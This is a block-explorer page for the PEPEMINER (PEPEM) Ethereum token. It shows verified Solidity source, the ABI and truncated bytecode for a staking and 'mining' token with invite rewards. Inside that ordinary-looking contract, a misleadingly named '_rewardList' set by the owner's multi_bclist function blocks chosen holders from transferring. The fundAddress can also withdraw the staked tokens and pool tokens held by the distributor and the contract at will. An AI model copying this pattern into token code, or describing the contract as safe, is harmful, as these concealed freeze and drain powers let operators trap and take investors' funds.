ETH Price: $3,382.01 (-1.69%)
Gas: 2 Gwei

Token

PEPEMINER (PEPEM)
 

Overview

Max Total Supply

21,000,000 PEPEM

Holders

251

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,646.91814 PEPEM

Value
$0.00
0x92e929d8B2c8430BcAF4cD87654789578BB2b786
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEM

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function decimals() external view returns (uint256);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;


}

interface ISwapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender);
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    address public _owner;
    constructor() {
        _owner = msg.sender;
    }
    function claimToken(address token, address to, uint256 amount) external {
        require(msg.sender == _owner);
        IERC20(token).transfer(to, amount);
    }
}

interface ISwapPair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function token0() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);
}

contract PEPEM is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress = address(0xA10d99a9aDC9c452fBB55545D1Cf12c10e05aadd) ;

    string private _name = "PEPEMINER";
    string private _symbol = "PEPEM";
    uint256 private _decimals = 18;


    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _rewardList;

    uint256 private _tTotal = 21_000_000 *10**_decimals;
    uint256 public mineRate = 82;
    address public routerAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    ISwapRouter public _swapRouter;
    address public weth;
    address public deadAddress = address(0x000000000000000000000000000000000000dEaD);
    mapping(address => bool) public _swapPairList;


    uint256 private constant MAX = ~uint256(0);

    TokenDistributor public mineRewardDistributor;

    bool inSwap;
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    mapping(address => address) public _inviter;
    mapping(address => address[]) public _binders;


    uint256 public totalStakeAmount;
    address[] public stakeList;
    mapping(address => bool) public stakeMember;
    mapping(address => uint256) public stakeAmount;
    mapping(address => uint256) public stakerIndex;


    uint256 public startStakeTime;

    mapping(address => uint256) public mineReward;
    mapping(address => uint256) public invitorReward;
    uint256 public eachMineAmount;
    uint256 public InvitorRewardAmount;
    uint256 public InvitorMin = 10**_decimals;
    uint256 public MinerMin = 10**_decimals;


    address public _mainPair;

    constructor() {

        address ReceiveAddress = address(0x6B32e7DDe4f1535C9588aC65baE377fbadB8C500);


        _swapRouter = ISwapRouter(routerAddress);
        weth = _swapRouter.WETH() ;
        IERC20(weth).approve(address(_swapRouter), MAX);

        _allowances[address(this)][address(_swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(_swapRouter.factory());

        _mainPair = swapFactory.createPair(address(this), weth);

        _swapPairList[_mainPair] = true;

        mineRewardDistributor = new TokenDistributor();

        uint256 _mineTotal = _tTotal * mineRate / 100;
        _balances[address(mineRewardDistributor)] = _mineTotal;
        emit Transfer(address(0), address(mineRewardDistributor), _mineTotal);

        eachMineAmount = _tTotal * 80 / 182500;
        InvitorRewardAmount = _tTotal * 2 /100;

        uint256 liquidityTotal = _tTotal - _mineTotal;
        _balances[ReceiveAddress] = liquidityTotal;
        emit Transfer(address(0), ReceiveAddress, liquidityTotal);

        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(_swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;
        _feeWhiteList[address(0x000000000000000000000000000000000000dEaD)] = true;
        _feeWhiteList[address(0)] = true;
        _feeWhiteList[address(mineRewardDistributor)] = true;        


    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool)  {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
            
        }
        return true;
        
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private {

        require(balanceOf(from) >= amount);
        require(isReward(from) == 0);
        
        if (_swapPairList[to]) {
            if (!_feeWhiteList[from] ) {
                if (!inSwap) {
                    uint256 contractTokenBalance = balanceOf(address(this));
                    if (contractTokenBalance > 0) {
                        
                        swapTokenForFund(contractTokenBalance);
                    }
                }
                
            }

        }
        _basicTransfer(from,to,amount);

        if (!_feeWhiteList[from] ) {
            _processMine(300000);
        }
        
    }

    function multi_bclist(
        address[] calldata addresses,
        bool value
    ) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _rewardList[addresses[i]] = value;
        }
    }       
    function isReward(address account) public view returns (uint256) {
        if (_rewardList[account]) {
            return 1;
        } else {
            return 0;
        }
    }
    

    function _bindInvitor(address account, address invitor) private  returns(bool) {
        if (invitor != address(0) && invitor != account && _inviter[account] == address(0) && _binders[account].length <= 50) {
            uint256 size;
            assembly {size := extcodesize(invitor)}
            if (size > 0) {
                return false ;
            }else{
                _inviter[account] = invitor;
                _binders[invitor].push(account);
                
                return true;
            }
        }
        else{
            return false;
        }
    }

    function getBinderLength(address account) external view returns (uint256){
        return _binders[account].length;
    }


    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = weth;

        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            fundAddress,
            block.timestamp
        );
           
        
    }

    function swapWETHForToken(uint256 WETHAmout)  public  {
        IERC20(weth).transferFrom(msg.sender, address(this), WETHAmout);
        address[] memory path = new address[](2);
        path[0] = weth;
        path[1] = address(this);

        uint256 beforeBalance = _balances[fundAddress];

        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WETHAmout,
            0,
            path,
            fundAddress,
            block.timestamp
        );
        uint256 afterBalance = _balances[fundAddress];
        uint256 swapAmount = afterBalance - beforeBalance;
        _balances[fundAddress] = beforeBalance;
        _balances[address(this)] += swapAmount;
        emit Transfer(fundAddress, address(this), swapAmount);

           
    }

    function stake(address invitor,uint256 amount)  external  {

        require(startStakeTime !=0);
        require(stakeMember[invitor] || invitor == deadAddress);
        bool binded;
        
        if (invitor != address(0) && invitor != msg.sender && _inviter[msg.sender] == address(0)) {
            binded = _bindInvitor(msg.sender,invitor);
        }
        else if (_inviter[msg.sender] == invitor){
            binded = true;//已经绑定上级的用户重复购买
        }else{
            binded = false;
        }
        require(binded);
        _basicTransfer(msg.sender,address(mineRewardDistributor),amount);
        stakeAmount[msg.sender] += amount;
        totalStakeAmount += amount;
        _lastMineRewardTimes[msg.sender] = block.timestamp;
        if(!stakeMember[msg.sender]){
            stakeMember[msg.sender] = true;
            stakerIndex[msg.sender] = stakeList.length;
            stakeList.push(msg.sender);
        }
        _processMine(200000);

    }
    function unstake()  external  {

        require(startStakeTime !=0 && stakeMember[msg.sender] && stakeAmount[msg.sender] >0);
        require(block.timestamp > _lastMineRewardTimes[msg.sender] + _mineTimeDebt );

        uint256 stakedNum = stakeAmount[msg.sender];
        totalStakeAmount -= stakedNum;
        stakeMember[msg.sender] = false;
        stakeAmount[msg.sender] = 0;
        _basicTransfer(address(mineRewardDistributor),msg.sender,stakedNum);
        uint256 senderIndex = stakerIndex[msg.sender];
        stakeList[senderIndex] = stakeList[stakeList.length - 1];
        stakeList.pop();
        _processMine(200000);

    }

    function getStakerLength() public view returns(uint256){
        return stakeList.length;
    }


    function setStakeTime(uint256 stakeTime) external onlyOwner {
        require(0 == startStakeTime);
        startStakeTime = stakeTime;
        
    }


    event Received(address sender, uint256 amount);
    event Sended(address sender, address to,uint256 amount);
    receive() external payable {
        uint256 receivedAmount = msg.value;
        emit Received(msg.sender, receivedAmount);
    }



    function setFundAddress(address addr) external onlyOwner {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
    }



    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

    function claimBalance() external onlyOwner {
        payable(fundAddress).transfer(address(this).balance);
    }

    function claimToken(
        address token,
        uint256 amount,
        address to
    ) external  {
        require(fundAddress == msg.sender);
        IERC20(token).transfer(to, amount);
    }

    function claimContractToken(address contractAddress, address token, uint256 amount) external {
        require(fundAddress == msg.sender);
        TokenDistributor(contractAddress).claimToken(token, fundAddress, amount);
    }


    uint256 public _currentMineIndex;
    uint256 public _progressMineBlock;
    uint256 public _progressMineBlockDebt = 5;
    mapping(address => uint256) public _lastMineRewardTimes;
    uint256 public _mineTimeDebt = 24 hours;








    function _processMine(uint256 gas) private {

        if (_progressMineBlock + _progressMineBlockDebt > block.number) {
            return;
        }

        if (0 == totalStakeAmount) {
            return;
        }
        address sender = address(mineRewardDistributor);

        if (_balances[sender] < MinerMin) { 
            return;
        }

        address currentStaker;
        uint256 stakedNum;
        uint256 amount;


        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();


        while (gasUsed < gas && iterations < stakeList.length) {
            if (_currentMineIndex >= stakeList.length) {
                _currentMineIndex = 0;
            }
            currentStaker = stakeList[_currentMineIndex];
            if (stakeMember[currentStaker]) {
                stakedNum = stakeAmount[currentStaker];

                if (block.timestamp > _lastMineRewardTimes[currentStaker] + _mineTimeDebt) {
                    amount = eachMineAmount * stakedNum / totalStakeAmount;
                    
                    if (amount > 0) {
                        mineReward[currentStaker] += amount;

                        procesInvitorReward(currentStaker,amount);
                        _lastMineRewardTimes[currentStaker] = block.timestamp;
                    }

                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            _currentMineIndex++;
            iterations++;
        }
        _progressMineBlock = block.number;
        
    }




    function procesInvitorReward(address account, uint256 amount) private {


        address invitor = _inviter[account];
        uint256 invitorAmount;
        if (address(0) != invitor && deadAddress != invitor && InvitorRewardAmount > InvitorMin) {
            invitorAmount = amount * 2/100;
            if(invitorAmount >0){

                if(InvitorRewardAmount - invitorAmount>0){
                    invitorReward[invitor] += invitorAmount;
                    InvitorRewardAmount -= invitorAmount;

                }
            }
        }

    }
    

    function getMineReward()external{
        uint256 totalMineReward = mineReward[msg.sender];
        require(totalMineReward > 0);
        address sender = address(mineRewardDistributor);
        mineReward[msg.sender] = 0;
        TokenDistributor(sender).claimToken(address(this), msg.sender, totalMineReward);
        


    }
    function getInvitorReward()external{
        uint256 totalInvitorReward = invitorReward[msg.sender];
        require(totalInvitorReward > 0);
        address sender = address(mineRewardDistributor);
        invitorReward[msg.sender] = 0;
        TokenDistributor(sender).claimToken(address(this), msg.sender, totalInvitorReward);
        
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Sended","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"InvitorMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"InvitorRewardAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MinerMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"_binders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_currentMineIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_inviter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lastMineRewardTimes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mineTimeDebt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_progressMineBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_progressMineBlockDebt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rewardList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"contractAddress","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimContractToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"eachMineAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getBinderLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getInvitorReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMineReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getStakerLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"invitorReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mineRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mineReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mineRewardDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"multi_bclist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"stakeTime","type":"uint256"}],"name":"setStakeTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"invitor","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"stakeList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakeMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakerIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startStakeTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"WETHAmout","type":"uint256"}],"name":"swapWETHForToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStakeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unstake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b03191673a10d99a9adc9c452fbb55545d1cf12c10e05aadd17905560c060405260096080908152682822a822a6a4a722a960b91b60a052600490620000509082620006a6565b5060408051808201909152600580825264504550454d60d81b6020830152906200007b9082620006a6565b50601260068190556200009090600a62000887565b620000a0906301406f406200089c565b6009556052600a908155600b80546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600e805490911661dead179055600654620000ee9162000887565b601d556006546200010190600a62000887565b601e556005602255620151806024553480156200011d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b54600c80546001600160a01b0319166001600160a01b039092169182179055604080516315ab88c960e31b81529051736b32e7dde4f1535c9588ac65bae377fbadb8c500929163ad5c46489160048083019260209291908290030181865afa158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f89190620008b6565b600d80546001600160a01b0319166001600160a01b03928316908117909155600c5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801562000260573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002869190620008e1565b50306000908152600260209081526040808320600c80546001600160a01b039081168652918452828520600019905554825163c45a015560e01b8152925191169263c45a015592600480820193918290030181865afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003149190620008b6565b600d546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291925082169063c9c65396906044016020604051808303816000875af115801562000369573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038f9190620008b6565b601f80546001600160a01b0319166001600160a01b039290921691821790556000908152600f602052604090819020805460ff1916600117905551620003d590620005f3565b604051809103906000f080158015620003f2573d6000803e3d6000fd5b50601060006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060006064600a546009546200042f91906200089c565b6200043b919062000905565b601080546001600160a01b039081166000908152600160205260408082208590559254925193945091169160008051602062002d4483398151915290620004859085815260200190565b60405180910390a36202c8e46009546050620004a291906200089c565b620004ae919062000905565b601b55600954606490620004c49060026200089c565b620004d0919062000905565b601c55600954600090620004e690839062000928565b6001600160a01b03851660008181526001602052604080822084905551929350909160008051602062002d4483398151915290620005279085815260200190565b60405180910390a35050506001600160a01b039081166000908152600760205260408082208054600160ff1991821681179092553084528284208054821683179055600c5485168452828420805482168317905533845282842080548216831790557fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d80548216831790557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df80548216831790556010549094168352912080549092161790556200093e565b6101f88062002b4c83390190565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200062c57607f821691505b6020821081036200064d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006a157600081815260208120601f850160051c810160208610156200067c5750805b601f850160051c820191505b818110156200069d5782815560010162000688565b5050505b505050565b81516001600160401b03811115620006c257620006c262000601565b620006da81620006d3845462000617565b8462000653565b602080601f831160018114620007125760008415620006f95750858301515b600019600386901b1c1916600185901b1785556200069d565b600085815260208120601f198616915b82811015620007435788860151825594840194600190910190840162000722565b5085821015620007625787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007c9578160001904821115620007ad57620007ad62000772565b80851615620007bb57918102915b93841c93908002906200078d565b509250929050565b600082620007e25750600162000881565b81620007f15750600062000881565b81600181146200080a5760028114620008155762000835565b600191505062000881565b60ff84111562000829576200082962000772565b50506001821b62000881565b5060208310610133831016604e8410600b84101617156200085a575081810a62000881565b62000866838362000788565b80600019048211156200087d576200087d62000772565b0290505b92915050565b6000620008958383620007d1565b9392505050565b808202811582820484141762000881576200088162000772565b600060208284031215620008c957600080fd5b81516001600160a01b03811681146200089557600080fd5b600060208284031215620008f457600080fd5b815180151581146200089557600080fd5b6000826200092357634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111562000881576200088162000772565b6121fe806200094e6000396000f3fe60806040526004361061037a5760003560e01c80636cec59c0116101d1578063a9059cbb11610102578063c5f4e663116100a0578063e36c2c471161006f578063e36c2c4714610aaf578063e82bef2914610ac5578063ecb2c77214610ae5578063f2fde38b14610b1257600080fd5b8063c5f4e663146109ed578063ccdbd42414610a1d578063d3ca6d4814610a53578063dd62ed3e14610a6957600080fd5b8063bbe2957e116100dc578063bbe2957e1461095a578063bd25bf2914610970578063bf135267146109a0578063bfac5ee0146109cd57600080fd5b8063a9059cbb14610905578063adc9772e14610925578063bb272e261461094557600080fd5b806385dc30041161016f57806394409a561161014957806394409a56146108a457806395d89b41146108ba578063a7f6a22e146108cf578063a8424861146108e557600080fd5b806385dc3004146108505780638af48aad146108705780638da5cb5b1461088657600080fd5b806371aec515116101ab57806371aec515146107cd57806378759541146107e357806378d60a5b14610803578063857066a71461083057600080fd5b80636cec59c01461076257806370a0823114610782578063715018a6146107b857600080fd5b806334a92409116102ab5780634d5ce038116102495780635e4a6ca6116102235780635e4a6ca6146106ea5780636108a3db1461070057806365e23f8c146107205780636c860f011461073557600080fd5b80634d5ce0381461069457806353d45472146106b45780635c25c30e146106ca57600080fd5b80634188bf5a116102855780634188bf5a1461061257806344f6709d146106325780634ba692a61461065f5780634c86259e1461067457600080fd5b806334a92409146105ac5780633c11100d146105c25780633fc8cef3146105f257600080fd5b806323b872dd116103185780632def6620116102f25780632def66201461054d57806330509bca14610562578063313ce567146105775780633268cc561461058c57600080fd5b806323b872dd146104f75780632646c8911461051757806327c8f8351461052d57600080fd5b806315d3eadd1161035457806315d3eadd1461044857806318160ddd1461046a5780631b967ad414610489578063206c17bb146104bf57600080fd5b806301986fad146103c157806306fdde0314610406578063095ea7b31461042857600080fd5b366103bc57604080513381523460208201819052917f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874910160405180910390a1005b600080fd5b3480156103cd57600080fd5b506103f16103dc366004611df9565b60076020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561041257600080fd5b5061041b610b32565b6040516103fd9190611e1b565b34801561043457600080fd5b506103f1610443366004611e69565b610bc4565b34801561045457600080fd5b50610468610463366004611e93565b610bdb565b005b34801561047657600080fd5b506009545b6040519081526020016103fd565b34801561049557600080fd5b5061047b6104a4366004611df9565b6001600160a01b031660009081526012602052604090205490565b3480156104cb57600080fd5b50600c546104df906001600160a01b031681565b6040516001600160a01b0390911681526020016103fd565b34801561050357600080fd5b506103f1610512366004611eac565b610e05565b34801561052357600080fd5b5061047b601d5481565b3480